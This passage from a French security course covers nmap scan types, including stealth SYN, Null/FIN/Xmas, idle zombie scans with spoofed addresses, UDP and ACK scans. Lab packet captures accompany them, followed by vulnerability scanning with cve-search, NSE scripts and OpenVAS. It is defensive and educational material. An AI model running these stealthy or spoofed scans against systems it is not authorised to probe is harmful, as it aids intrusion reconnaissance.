- Echange SYN, SYN/ACK; ACK
- Message RST/ACK
SYN
# 20:32:36.128889 IP Kali2-0C.49785 > 192.168.122.191.ftp: Flags [S], seq 2622041564, win 29200, options [mss 1460,sackOK,TS val 4298823 ecr 0,nop,wscale 10], length 0
SYN/ACK
20:32:36.129109 IP 192.168.122.191.ftp > Kali2-0C.49785: Flags [S.], seq 3495000159, ack 2622041565, win 5792, options [mss 1460,sackOK,TS val 156165 ecr 4298823,nop,wscale 6], length 0
ACK
20:32:36.129130 IP Kali2-0C.49785 > 192.168.122.191.ftp: Flags [.], ack 1, win 29, options [nop,nop,TS val 4298823 ecr 156165], length 0
RST/ACK
20:32:36.129155 IP Kali2-0C.49785 > 192.168.122.191.ftp: Flags [R.], seq 1, ack 1, win 29, options [nop,nop,TS val 0 ecr 156165], length 0
7.7. Scan furtif TCP SYN
-sS
furtif Scan TCP SYN
Le scan SYN est celui par défaut et le plus populaire pour de bonnes raisons. Il peut être exécuté rapidement et scanner des milliers de ports par seconde sur un réseau rapide lorsqu’il n’est pas entravé par des pare-feux. Le scan SYN est relativement discret et furtif, vu qu’il ne termine jamais les connexions TCP. Il marche également contre toute pile respectant TCP, au lieu de dépendre des particularités environnementales spécifiques comme c’est le cas avec les scans Fin/Null/Xmas, Maimon ou Idle. En plus, il permet une différentiation fiable entre les états ouvert, fermé et filtré.
Cette technique est souvent appelée le scan demi-ouvert (half-open scanning), car il n’établit pas pleinement la connexion TCP. Il envoie un paquet SYN et attend sa réponse, comme s’il voulait vraiment ouvrir une connexion. Une réponse SYN/ACK indique que le port est en écoute (ouvert), tandis qu’une RST (reset) indique le contraire. Si aucune réponse n’est reçue après plusieurs essais, le port est considéré comme étant filtré. Le port est également considéré comme étant filtré si un message d’erreur « unreachable ICMP (type 3, code 1,2, 3, 9, 10 ou 13) » est reçu.
Exemple d’un port ouvert :
# nmap -sS -p 21 -Pn 192.168.122.191
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 20:49 CET
Nmap scan report for 192.168.122.191
Host is up (0.00067s latency).
PORT STATE SERVICE
21/tcp open ftp
MAC Address: 52:54:00:E5:B9:E3 (QEMU Virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.54 seconds
# 20:49:50.664419 IP Kali2-0C.48258 > 192.168.122.191.ftp: Flags [S], seq 943880828, win 1024, options [mss 1460], length 0
20:49:50.664728 IP 192.168.122.191.ftp > Kali2-0C.48258: Flags [S.], seq 2525202399, ack 943880829, win 5840, options [mss 1460], length 0
20:49:50.664751 IP Kali2-0C.48258 > 192.168.122.191.ftp: Flags [R], seq 943880829, win 0, length 0
20:49:50.764623 IP Kali2-0C.48259 > 192.168.122.191.ftp: Flags [S], seq 943946365, win 1024, options [mss 1460], length 0
20:49:50.764939 IP 192.168.122.191.ftp > Kali2-0C.48259: Flags [S.], seq 2529707968, ack 943946366, win 5840, options [mss 1460], length 0
20:49:50.764961 IP Kali2-0C.48259 > 192.168.122.191.ftp: Flags [R], seq 943946366, win 0, length 0
Exemple d’un port fermé :
# tcpdump -v tcp port 88 &
[1] 20216
# tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
# nmap -sS -p 88 -Pn 192.168.122.1
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 20:54 CET
Nmap scan report for 192.168.122.1
Host is up (0.00020s latency).
PORT STATE SERVICE
88/tcp closed kerberos-sec
MAC Address: FE:54:00:01:69:7C (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 0.60 seconds
# 20:54:37.000511 IP (tos 0x0, ttl 37, id 14382, offset 0, flags [none], proto TCP (6), length 44)
Kali2-0C.44374 > 192.168.122.1.kerberos: Flags [S], cksum 0x2cc2 (correct), seq 2292300697, win 1024, options [mss 1460], length 0
20:54:37.000625 IP (tos 0x0, ttl 64, id 33431, offset 0, flags [DF], proto TCP (6), length 40)
192.168.122.1.kerberos > Kali2-0C.44374: Flags [R.], cksum 0x486b (correct), seq 0, ack 2292300698, win 0, length 0
20:54:37.100696 IP (tos 0x0, ttl 43, id 1489, offset 0, flags [none], proto TCP (6), length 44)
Kali2-0C.44375 > 192.168.122.1.kerberos: Flags [S], cksum 0x2cc3 (correct), seq 2292235160, win 1024, options [mss 1460], length 0
20:54:37.100901 IP (tos 0x0, ttl 64, id 33433, offset 0, flags [DF], proto TCP (6), length 40)
192.168.122.1.kerberos > Kali2-0C.44375: Flags [R.], cksum 0x486c (correct), seq 0, ack 2292235161, win 0, length 0
Scan d’une Windows 10 pro avec pare-feu et RDP activé
# nmap 192.168.122.208
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 21:08 CET
Nmap scan report for DESKTOP-0TLULO6 (192.168.122.208)
Host is up (0.00061s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE
3389/tcp open ms-wbt-server
5357/tcp open wsdapi
MAC Address: 52:54:00:27:1D:D5 (QEMU Virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 18.20 seconds
Scan d’une machine Windows 8.1 sans pare-feu
# nmap 192.168.122.198
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 21:14 CET
Nmap scan report for win81-0C (192.168.122.198)
Host is up (0.00046s latency).
Not shown: 991 filtered ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
554/tcp open rtsp
2869/tcp open icslap
3389/tcp open ms-wbt-server
5357/tcp open wsdapi
10243/tcp open unknown
49155/tcp open unknown
MAC Address: 52:54:00:44:C4:11 (QEMU Virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 25.48 seconds
Scan d’un machine Windows XP familial
# nmap 192.168.122.228
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 21:18 CET
Nmap scan report for winxp-template (192.168.122.228)
Host is up (0.00031s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 52:54:00:5D:17:6F (QEMU Virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 21.98 seconds
7.8. Scans furtifs Scans TCP Null, FIN et Xmas
-sN; -sF; -sX
(Scans TCP Null, FIN et Xmas)
Ces trois types de scans exploitent une subtile faille de la RFC TCP pour différencier les ports entre ouverts et fermés. La page 65 indique que “si le port [de destination] est dans l’état fermé… un segment ne contenant pas le drapeau RST provoque l’émission d’un paquet RST comme réponse.”. La page suivante indique que pour les paquets envoyés à des ports sans aucun des drapeaux SYN, RST ou ACK activés: “il est peut vraisemblable que cela arrive, mais si cela est le cas, il faut rejeter le segment.”
Pour les systèmes respectant ce texte de la RFC, soit uniquement des hôtes UNIX et certainement pas Windows, chaque paquet ne contenant ni SYN, ni RST, ni ACK se voit renvoyé un RST si le port est fermé et aucune réponse si le port est ouvert. Tant qu’aucun de ces drapeaux n’est utilisé, toute combinaison des trois autres (FIN, PSH et URG) son valides. Nmap exploite cela avec les trois types de scans:
Scan Null (-sN)
N’active aucun des bits (les drapeaux de l’en-tête TCP vaut 0).
Scan FIN (-sF)
N’active que le bit FIN.
Scan Xmas (-sX)
Active les drapeaux FIN, PSH et URG, illuminant le paquet comme un arbre de Noël (NDT: la fracture cognitive entre la culture anglo-saxonne et française se ressent fortement dans cette traduction…).
Ces trois types de scan ont exactement le même comportement, sauf pour les drapeaux TCP utilisés dans des paquets de tests (probes packets). Si un RST est reçu, le port est considéré comme étant fermé, tandis qu’une absence de réponse signifiera qu’il est dans l’état ouvert | filtré. Le port est marqué comme filtré si un message d’erreur ICMP « unreachable (type 3, code 1, 2, 3, 9, 10 ou 13) » est reçu. |
L’avantage principal de ces types de scans est qu’ils peuvent furtivement traverser certains pare-feux ou routeurs filtrants sans état de connexion (non-statefull). Un autre avantage est qu’ils sont même un peu plus furtifs que le scan SYN. N’y comptez pas trop dessus cependant – la plupart des IDS modernes sont configurés pour les détecter. L’inconvénient majeur est que tous les systèmes ne respectent pas la RFC 793 à la lettre. Plusieurs systèmes renvoient des RST aux paquets quelque soit l’état du port de destination, qu’il soit ouvert ou pas. Ceci fait que tous les ports sont considérés commefermé. Les plus connus des systèmes qui ont ce comportement sont Microsoft Windows, plusieurs équipements Cisco, BSDI et IBM OS/400. Ce type de scan fonctionne cependant très bien contre la plupart des systèmes basés sur UNIX. Un autre désagrément de ce type de scan et qu’ils ne peuvent pas distinguer les ports ouvertsde certains autres qui sont filtrés, vous laissant face à un laconique ouvert | filtré. |
Exemples :
# nmap -sF -p 88 -Pn 192.168.122.191
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 21:35 CET
Nmap scan report for 192.168.122.191
Host is up (0.00028s latency).
PORT STATE SERVICE
88/tcp closed kerberos-sec
MAC Address: 52:54:00:E5:B9:E3 (QEMU Virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds
root@Kali2-0C:~# 21:35:18.504313 IP (tos 0x0, ttl 40, id 10670, offset 0, flags [none], proto TCP (6), length 40)
Kali2-0C.58705 > 192.168.122.191.kerberos: Flags [F], cksum 0x3f33 (correct), seq 2577626922, win 1024, length 0
21:35:18.504489 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40)
192.168.122.191.kerberos > Kali2-0C.58705: Flags [R.], cksum 0x431f (correct), seq 0, ack 2577626923, win 0, length 0
21:35:18.604488 IP (tos 0x0, ttl 39, id 51250, offset 0, flags [none], proto TCP (6), length 40)
Kali2-0C.58706 > 192.168.122.191.kerberos: Flags [F], cksum 0x3f32 (correct), seq 2577561387, win 1024, length 0
21:35:18.604675 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40)
192.168.122.191.kerberos > Kali2-0C.58706: Flags [R.], cksum 0x431e (correct), seq 0, ack 2577561388, win 0, length 0
# nmap -sF -p 80 -Pn 192.168.122.191
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 21:32 CET
Nmap scan report for 192.168.122.191
Host is up (0.0012s latency).
PORT STATE SERVICE
80/tcp open|filtered http
MAC Address: 52:54:00:E5:B9:E3 (QEMU Virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds
# 21:32:56.020304 IP (tos 0x0, ttl 39, id 17011, offset 0, flags [none], proto TCP (6), length 40)
Kali2-0C.53120 > 192.168.122.191.http: Flags [F], cksum 0x4883 (correct), seq 2828956856, win 1024, length 0
21:32:56.120480 IP (tos 0x0, ttl 50, id 17448, offset 0, flags [none], proto TCP (6), length 40)
Kali2-0C.53121 > 192.168.122.191.http: Flags [F], cksum 0x4880 (correct), seq 2829022393, win 1024, length 0
7.9. Scan passif Idle Scan
-sI <zombie host[:probeport]>
Un idle scan, dumb scan ou zombi scan est une méthode de balayage de port TCP qui, grâce à des utilitaires tels que Nmap et Hping, utilise l’envoi de paquets possédant une adresse IP usurpée.
Cet exploit complexe permet à la fois de balayer les ports d’une machine ainsi que de mettre en évidence les liaisons de confiance (s’appuyant sur les adresses IP) entre les machines. L’attaque consiste en l’envoi de paquets forgés vers une machine donnée – la cible – dans le but d’obtenir des informations à propos d’elle mais via une autre machine – le zombi.
Cette méthode de scan avancé permet de faire un véritable scan de port TCP en aveugle, (dans le sens où aucun paquet n’est envoyé directement à la cible depuis votre vraie adresse IP). En effet, la technique employée consiste à récolter des informations sur les ports ouverts de la cible en utilisant un exploit basé sur la prédictibilité de la génération des identifiants de fragmentation IP de l’hôte relais (le zombie). Les systèmes IDS considéreront que le scan provient de la machine zombie que vous avez spécifié (qui doit remplir certains critères).
L’idle scan exploite le fait que l’on peut, sous certaines conditions, prédire les numéros d’identification IP (IPID). L’attaquant doit d’abord rechercher une machine avec une séquence d’IPID prévisible. Par exemple, le numéro d’identification sera incrémenté de 1 à chaque fois. Les dernières versions de Linux, Solaris et OpenBSD ne sont pas des cibles appropriées puisque les algorithmes de génération d’IPID ont été corrigés. Les machines choisies pour être utilisées à ce niveau sont parfois appelées « zombis ». Une fois qu’une machine zombi a été trouvée, la première étape est de déterminer le numéro IPID actuel de la machine : en envoyant un pacquet SYN/ACK au zombi, le pirate recevra un paquet RST portant le numéro de séquence.
L’étape suivante consiste en l’envoi d’un paquet SYN à la machine cible, en usurpant l’adresse IP du zombi. Si le port de la machine cible est ouvert, celle-ci répondra au zombi avec un paquet SYN/ACK. Le zombi va donc envoyer un paquet RST à la cible car il n’est pas réellement l’émetteur du premier paquet SYN. Puisque la machine zombi a dû envoyer le paquet RST, elle incrémente son IPID. C’est ce qui permet à l’attaquant de découvrir si le port de la cible est ouvert. La dernière étape est donc la vérification de l’IPID, en envoyant à nouveau un paquet SYN/ACK au zombi.
Si l’IPID contenu dans le paquet RST reçu en réponse a été incrémenté deux fois, on est certain que le port cible est ouvert. En revanche si l’IPID n’est incrémenté qu’une fois, alors l’attaquant saura que ce port est fermé ou filtré.
Exemple avec nmap une cible Windows 8.1 et un zombi Windows XP familial :
# nmap -PN -p135-139 -sI 192.168.122.228 192.168.122.198
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:03 CET
Idle scan using zombie 192.168.122.228 (192.168.122.228:80); Class: Incremental
Nmap scan report for win81-0C (192.168.122.198)
Host is up (0.023s latency).
PORT STATE SERVICE
135/tcp open msrpc
136/tcp closed|filtered profile
137/tcp closed|filtered netbios-ns
138/tcp closed|filtered netbios-dgm
139/tcp open netbios-ssn
MAC Address: 52:54:00:44:C4:11 (QEMU Virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1.55 seconds
7.10. Scan UDP
-U
Même si les services les plus connus d’Internet son basés sur le protocole TCP, les services UDP sont aussi largement utilisés. DNS, SNMP ou DHCP (ports 53, 161/162 et 67/68) sont les trois exemples les plus courants. Comme le scan UDP est généralement plus lent et plus difficile que TCP, certains auditeurs de sécurité les ignorent. C’est une erreur, car les services UDP exploitables sont courants et les attaquants eux ne les ignoreront pas. Par chance, Nmap peut aider à répertorier les ports UDP.
Le scan UDP est activé avec l’option-sU. Il peut être combiné avec un scan TCP, comme le scan SYN ( -sS), pour vérifier les deux protocoles lors de la même exécution de Nmap.
Le scan UDP envoie un en-tête UDP (sans données) à chaque port visé. Si un message ICMP « port unreachable (type 3, code 3) » est renvoyé, le port est alors fermé. Les autres messages d’erreur « unreachable ICMP (type 3, codes 1, 2, 9, 10, or 13) » rendront le port filtré. À l’occasion, il arrive qu’un service répond par un paquet UDP, prouvant que le port est dans l’état ouvert. Si aucune réponse n’est renvoyée après plusieurs essais, le port est considéré comme étant ouvert | filtré. Cela signifie que le port peut être soit ouvert, soit qu’un dispositif de filtrage bloque les communications. Le scan de versions ( -sV) peut être utilisé pour différencier les ports ouverts de ceux filtrés. |
Une des grandes difficultés avec le scan UDP est de l’exécuter rapidement. Les ports ouverts et filtrés ne renvoient que rarement des réponses, laissant Nmap expirer son délai de retransmission au cas où les paquets se soient perdus. Les ports fermés posent encore un plus grand problème: ils renvoient normalement une erreur ICMP « port unreachable ». Mais à la différence des paquets RST renvoyés par les ports TCP fermés en réponse à un scan SYN ou à un connect(), de nombreux hôtes limitent par défaut la cadence d’émission de ces messages. Linux et Solaris étant particulièrement stricts à ce sujet. Par exemple, le kernel 2.4.20 limite cette cadence des destinations inaccessibles (« destination unreachable ») à un par seconde (cf.net/ipv4/icmp.c).
Nmap détecte cette limitation de fréquence et s’y ralenti conformément afin d’éviter de saturer le réseau avec des paquets inutiles que la machine cible rejettera. Malheureusement, une limitation à la Linux d’un paquet par seconde fera qu’un scan des 65 536 ports prendra plus de 18 heures. Les idées pour accélérer les scans UDP incluent le scan des cibles en parallèle, ne scanner que les ports les plus courants en premier, scanner derrière le pare-feu et utiliser l’option –host-timeoutpour éviter les hôtes les plus lents.
Exemple de scan UDP en 17 minutes 54 secondes :
#nmap -sU 192.168.122.191
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:19 CET
Nmap scan report for 192.168.122.191
Host is up (0.00041s latency).
Not shown: 993 closed ports
PORT STATE SERVICE
53/udp open domain
68/udp open|filtered dhcpc
69/udp open|filtered tftp
111/udp open rpcbind
137/udp open netbios-ns
138/udp open|filtered netbios-dgm
2049/udp open nfs
MAC Address: 52:54:00:E5:B9:E3 (QEMU Virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1073.88 seconds
5.11. Scan TCP ACK
-sA
Ce type de scan est différent des autres abordés jusqu’ici, dans le sens où ils ne peuvent pas déterminer si un port est ouvert (ni même ouvert | filtré). Il est utilisé pour établir les règles des pare-feux, déterminant s’ils sont avec ou sans états (statefull/stateless) et quels ports sont filtrés. |
Le scan ACK n’active que le drapeau ACK des paquets. Les systèmes non-filtrés réagissent en retournant un paquet RST. Nmap considère alors le port comme non-filtré, signifiant qu’il est accessible avec un paquet ACK, mais sans savoir s’il est réellement ouvert ou fermé. Les ports qui ne répondent pas ou renvoient certains messages d’erreur ICMP (type 3, code 1, 2, 3, 9, 10, ou 13), sont considérés comme filtrés.
Un pare-feu ne répondra rien.
Veuillez apprécier la nuance :
Une machine Windows 10 avec pare-feu :
# nmap -sA -p139 192.168.122.208
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:29 CET
Nmap scan report for DESKTOP-0TLULO6 (192.168.122.208)
Host is up (0.0012s latency).
PORT STATE SERVICE
139/tcp filtered netbios-ssn
MAC Address: 52:54:00:27:1D:D5 (QEMU Virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds
# nmap -p139 192.168.122.208
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:32 CET
Nmap scan report for DESKTOP-0TLULO6 (192.168.122.208)
Host is up (0.00054s latency).
PORT STATE SERVICE
139/tcp filtered netbios-ssn
MAC Address: 52:54:00:27:1D:D5 (QEMU Virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.59 seconds
Une machine Windows 8.1 Pro :
# nmap -sA -p139 192.168.122.198
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:30 CET
Nmap scan report for win81-0C (192.168.122.198)
Host is up (0.0012s latency).
PORT STATE SERVICE
139/tcp filtered netbios-ssn
MAC Address: 52:54:00:44:C4:11 (QEMU Virtual NIC)
# nmap -p139 192.168.122.198
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:32 CET
Nmap scan report for win81-0C (192.168.122.198)
Host is up (0.00100s latency).
PORT STATE SERVICE
139/tcp open netbios-ssn
MAC Address: 52:54:00:44:C4:11 (QEMU Virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.54 seconds
root@Kali2-0C:~# nmap -p139 192.168.122.208
Un pare-feu Linux :
# nmap -sA -p139 192.168.122.225
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:30 CET
Nmap scan report for 192.168.122.225
Host is up (0.00094s latency).
PORT STATE SERVICE
139/tcp unfiltered netbios-ssn
MAC Address: 52:54:00:1F:08:E7 (QEMU Virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.58 seconds
# nmap -p139 192.168.122.225
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:32 CET
Nmap scan report for 192.168.122.225
Host is up (0.00055s latency).
PORT STATE SERVICE
139/tcp closed netbios-ssn
MAC Address: 52:54:00:1F:08:E7 (QEMU Virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.55 seconds
8. Scans de vulnérabilté
https://www.threatminer.org/index.php
Détection de patch
8.1. CVE
Source : https://fr.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures
https://cve.mitre.org/
Common Vulnerabilities and Exposures ou CVE est un dictionnaire des informations publiques relatives aux vulnérabilités de sécurité. Le dictionnaire est maintenu par l’organisme MITRE, soutenu par le département de la Sécurité intérieure des États-Unis.
Les identifiants CVE sont des références de la forme CVE-AAAA-NNNN (AAAA est l’année de publication et NNNN un numéro incrémenté).
Le contenu du dictionnaire CVE peut être téléchargé. Cette liste contient une description succincte de la vulnérabilité concernée, ainsi qu’un ensemble de liens que les utilisateurs peuvent consulter pour plus d’informations.
Il existe de nombreux produits de sécurité qui traitent de vulnérabilités et qui utilisent donc les identifiants CVE :
- les services d’information sur les vulnérabilités,
- les systèmes de détection d’intrusion,
- les systèmes de prévention d’intrusion,
- les scanneurs de vulnérabilités,
- les outils de gestion de parc informatique,
- etc.
Afin que ces produits utilisent avec rigueur les identifiants CVE, le MITRE a mis en place une procédure de compatibilité CVE qui impose notamment :
- un affichage des identifiants CVE (« CVE Output »),
- une fonctionnalité de recherche parmi les identifiants CVE (« CVE Searchable »),
- une procédure de mise à jour de la base de données (« Mapping »),
- une aide sur les concepts relatifs à CVE (« Documentation »).
8.2. CVE-Search
Source : https://github.com/cve-search/cve-search
Installation de cve-search
git clone https://github.com/cve-search/cve-search
cd cve-search
apt install python3-pip
pip3 install -r requirements.txt
apt install mongodb
systemctl enable mongodb
systemctl start mongodb
./sbin/db_mgmt.py -p
Database population started
Importing CVEs for year 2002
Importing CVEs for year 2003
Importing CVEs for year 2004
Importing CVEs for year 2005
Importing CVEs for year 2006
Importing CVEs for year 2007
Importing CVEs for year 2008
Importing CVEs for year 2009
Importing CVEs for year 2010
Importing CVEs for year 2011
Importing CVEs for year 2012
Importing CVEs for year 2013
Importing CVEs for year 2014
Importing CVEs for year 2015
Importing CVEs for year 2016
./sbin/db_mgmt_cpe_dictionary.py
Preparing [##################################################] 114942/114942
./sbin/db_updater.py -c
Exemples d’utilisation
En ligne de commande :
Interface Web
apt install redis-server
systemctl enable redis-server
systemctl start redis-server
python3 ./web/index.py
8.3. CVE-Scan
- Scan a system with NMap or any other scanning tool and use the scan to analyse the systems for vulnerabilities
- Have the posibility for multiple input formats (NMap scan, xml, Json, etc)
- Use CVE-Search to enhance the scan to add more information
- Have multiple export formats as well as webbrowser component
Installation
git clone git clone https://github.com/NorthernSec/cve-scan
cd cve-scan
apt-get install -y nmap
pip3 install -r requirements.txt
Utilisation
Scan de la cible :
nmap -A -O 192.168.23.132 -oX output.xml
Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2016-09-18 03:19 CEST
Nmap scan report for win81-base.lan (192.168.23.132)
Host is up (0.010s latency).
Not shown: 992 filtered ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 8.1 Enterprise Evaluation 9600 microsoft-ds (workgroup: WORKGROUP)
554/tcp open rtsp?
2869/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
10243/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49155/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.4.X|3.X, Microsoft Windows 7|2012
OS CPE: cpe:/o:linux:linux_kernel:2.4.37 cpe:/o:linux:linux_kernel:3.2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2012
OS details: DD-WRT v24-sp2 (Linux 2.4.37), Linux 3.2, Microsoft Windows 7 or Windows Server 2012
Network Distance: 2 hops
Service Info: Host: WIN81-BASE; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 9h53m22s, deviation: 0s, median: 9h53m22s
|_nbstat: NetBIOS name: WIN81-BASE, NetBIOS user: <unknown>, NetBIOS MAC: 52:54:00:9c:2f:0c (QEMU virtual NIC)
| smb-os-discovery:
| OS: Windows 8.1 Enterprise Evaluation 9600 (Windows 8.1 Enterprise Evaluation 6.3)
| OS CPE: cpe:/o:microsoft:windows_8.1::-
| NetBIOS computer name: WIN81-BASE
| Workgroup: WORKGROUP
|_ System time: 2016-09-18T13:15:05+02:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smbv2-enabled: Server supports SMBv2 protocol
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 0.13 ms 172.16.98.2
2 0.17 ms win81-base.lan (192.168.23.132)
Post-scan script results:
| clock-skew:
|_ 9h53m22s: Majority of systems scanned
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 192.61 seconds
Génération d’un rapport détaillé :
python3 ./bin/analyzer.py -x output.xml enhanced.json
Querying https://127.0.0.1:5000/api/cvefor/cpe:/o:microsoft:windows_server_2012
Querying https://127.0.0.1:5000/api/cvefor/cpe:/o:linux:linux_kernel:3.2
Querying https://127.0.0.1:5000/api/cvefor/cpe:/a:vmware:player
Querying https://127.0.0.1:5000/api/cvefor/cpe:/o:linux:linux_kernel:2.4.37
Querying https://127.0.0.1:5000/api/cvefor/cpe:/o:microsoft:windows_xp::sp3
Querying https://127.0.0.1:5000/api/cvefor/cpe:/o:microsoft:windows_7
Querying https://127.0.0.1:5000/api/cvefor/cpe:/h:actiontec:mi424wr-gen3i
Querying https://127.0.0.1:5000/api/cvefor/cpe:/o:linux:linux_kernel
python3 ./bin/visualizer.py enhanced.json
8.4. Produits
- OpenVAS
- Acunetix® Web Security Scanner
- Retina® Network Security Scanner
- GFI LANguard™
- HP Web Inspect®
- IBM AppScan®
- IBM Internet Scanner®
- Lumension® Scan
- Portswigger Burp Suite
- McAfee® Vulnerability Manager
- TripWire IP360™
- Rapid7 AppSpider
- Rapid7 Nexpose
- Qualys QualysGuard®
- SAINTscanner®
- Tenable Nessus®
- Tenable Security Scanner®
- Tenable SecurityCenter™
- Trustwave App Scanner
8.5. NSE
NSE dispose aussi d’un détecteur de vulnérabilités
Sur un Windows XP sans pare-feu :
nmap --script vuln 192.168.23.211
Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2016-09-22 19:23 CEST
Nmap scan report for xplab-8c8d5bb0e.entreprise.lan (192.168.23.211)
Host is up (0.00092s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 52:54:00:D5:0B:0A (QEMU virtual NIC)
Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms08-067:
| VULNERABLE:
| Microsoft Windows system vulnerable to remote code execution (MS08-067)
| State: VULNERABLE
| IDs: CVE:CVE-2008-4250
| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
| code via a crafted RPC request that triggers the overflow during path canonicalization.
|
| Disclosure date: 2008-10-23
| References:
| https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
Nmap done: 1 IP address (1 host up) scanned in 16.53 seconds
Avec un pare-feu activé :
# nmap --script vuln 192.168.122.228
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-19 06:20 CET
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 192.168.122.98
| 192.168.122.58
| 192.168.122.41
| 192.168.122.40
| 192.168.122.163
| 192.168.122.209
| 192.168.122.252
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for winxp-template (192.168.122.228)
Host is up (0.00030s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 52:54:00:5D:17:6F (QEMU Virtual NIC)
Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
Nmap done: 1 IP address (1 host up) scanned in 57.18 seconds
8.6. Openvas
OpenVAS, (acronyme de Open source Vulnerability Assessment Scanner, anciennement GNessUs), est un fork sous licence GNU GPL du scanner de vulnérabilité Nessus dont le but est de permettre un développement libre de l’outil qui est maintenant sous licence propriétaire. (https://fr.wikipedia.org/wiki/OpenVAS)
Sur Kali Linux :
root@kali:~# apt-get update
root@kali:~# apt-get dist-upgrade
root@kali:~# apt-get install openvas
root@kali:~# openvas-setup
/var/lib/openvas/private/CA created
/var/lib/openvas/CA created
[i] This script synchronizes an NVT collection with the 'OpenVAS NVT Feed'.
[i] Online information about this feed: 'https://www.openvas.org/openvas-nvt-feed
...
sent 1143 bytes received 681741238 bytes 1736923.26 bytes/sec
total size is 681654050 speedup is 1.00
[i] Initializing scap database
[i] Updating CPEs
[i] Updating /var/lib/openvas/scap-data/nvdcve-2.0-2002.xml
[i] Updating /var/lib/openvas/scap-data/nvdcve-2.0-2003.xml
...
Write out database with 1 new entries
Data Base Updated
Restarting Greenbone Security Assistant: gsad.
User created with password '6062d074-0a4c-4de1-a26a-5f9f055b7c88'.
Démarrer Openvas :
root@kali:~# openvas-start
Starting OpenVas Services
Starting Greenbone Security Assistant: gsad.
Starting OpenVAS Scanner: openvassd.
Starting OpenVAS Manager: openvasmd.
Et se rendre sur son interface https://127.0.0.1:9392
Source : https://www.kali.org/penetration-testing/openvas-vulnerability-scanning/
9. Détection de rootkits
9.1. Rkhunter
https://www.rootkit.nl/projects/rootkit_hunter.html
- Installation
# yum -y install epel-release
# yum -y install rkhunter
- Mise à jour de la base de données
# rkhunter --update
